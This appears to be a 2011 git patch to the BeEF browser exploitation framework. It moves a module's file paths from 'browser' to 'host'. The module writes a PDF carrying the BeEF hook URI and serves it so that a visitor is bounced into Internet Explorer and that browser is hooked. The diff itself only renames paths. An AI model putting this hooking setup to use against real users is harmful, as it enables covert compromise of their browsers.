From 68d967f1f40687b28c926d7dcb3a5ec86f56a675 Mon Sep 17 00:00:00 2001 From: "bcoles@gmail.com" Date: Fri, 16 Sep 2011 19:48:37 +0000 Subject: [PATCH] Changed mount path to 'modules/host/hook_default/' git-svn-id: https://beef.googlecode.com/svn/trunk@1296 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9 --- modules/host/hook_default/module.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/host/hook_default/module.rb b/modules/host/hook_default/module.rb index 83e3b81dc..80eca4db3 100644 --- a/modules/host/hook_default/module.rb +++ b/modules/host/hook_default/module.rb @@ -24,11 +24,11 @@ class Hook_ie < BeEF::Core::Command hook_uri = "http://#{configuration.get("beef.http.host")}:#{configuration.get("beef.http.port")}/demos/report.html" # A new pdf file containg the actual hook URI instead of the dummy token. - configured_hook_file = File.open("./modules/browser/hook_default/bounce_to_ie_configured.pdf","w") + configured_hook_file = File.open("./modules/host/hook_default/bounce_to_ie_configured.pdf","w") # The original pdf file contains a token that will get replaced during the initialization with # the actual hook URI of beef. Note that the hook URI is accessed via the DNS name. - File.open('./modules/browser/hook_default/bounce_to_ie.pdf',"r") { |original_hook_file| + File.open('./modules/host/hook_default/bounce_to_ie.pdf',"r") { |original_hook_file| original_hook_file.each_line { |line| # If the line includes the hook token, then replace it with the actual hook URI if(line.include? '') @@ -43,7 +43,7 @@ class Hook_ie < BeEF::Core::Command #Bind the configured PDF file to the web server. - BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/browser/hook_default/bounce_to_ie_configured.pdf', '/report', 'pdf', -1); + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/host/hook_default/bounce_to_ie_configured.pdf', '/report', 'pdf', -1); end